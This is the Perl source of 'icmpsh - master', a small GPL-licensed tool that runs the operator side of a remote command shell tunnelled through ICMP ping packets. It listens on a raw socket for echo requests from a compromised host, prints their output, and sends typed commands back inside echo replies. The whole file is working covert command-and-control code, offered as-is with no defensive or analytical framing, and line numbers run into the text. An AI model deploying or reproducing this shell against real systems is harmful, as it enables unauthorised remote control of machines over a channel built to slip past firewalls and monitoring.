#!/usr/bin/env perl1#2# icmpsh - simple icmp command shell3# Copyright (c) 2010, Nico Leidecker <[email protected]>4# This program is free software: you can redistribute it and/or modify5# it under the terms of the GNU General Public License as published by6# the Free Software Foundation, either version 3 of the License, or7# (at your option) any later version.8#9# This program is distributed in the hope that it will be useful,10# but WITHOUT ANY WARRANTY; without even the implied warranty of11# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the12# GNU General Public License for more details.13#14# You should have received a copy of the GNU General Public License15# along with this program. If not, see <http://www.gnu.org/licenses/>.16#17181920use strict;21use IO::Socket;22use NetPacket::IP;23use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);24use Net::RawIP;25use Fcntl;2627print "icmpsh - master\n";2829# create raw socket30my $sock = IO::Socket::INET->new(31Proto => "ICMP",32Type => SOCK_RAW,33Blocking => 1) or die "$!";3435# set stdin to non-blocking36fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";3738print "running...\n";3940my $input = '';41while(1) {42if ($sock->recv(my $buffer, 4096, 0)) {43my $ip = NetPacket::IP->decode($buffer);44my $icmp = NetPacket::ICMP->decode($ip->{data});45if ($icmp->{type} == ICMP_ECHO) {46# get identifier and sequencenumber47my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});4849# write data to stdout and read from stdin50print $data;51$input = <STDIN>;5253# compile and send response54$icmp->{type} = ICMP_ECHOREPLY;55$icmp->{data} = pack("SSa*", $ident, $seq, $input);56my $raw = $icmp->encode();57my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));58$sock->send($raw, 0, $addr) or die "$!\n";59}60}61}626364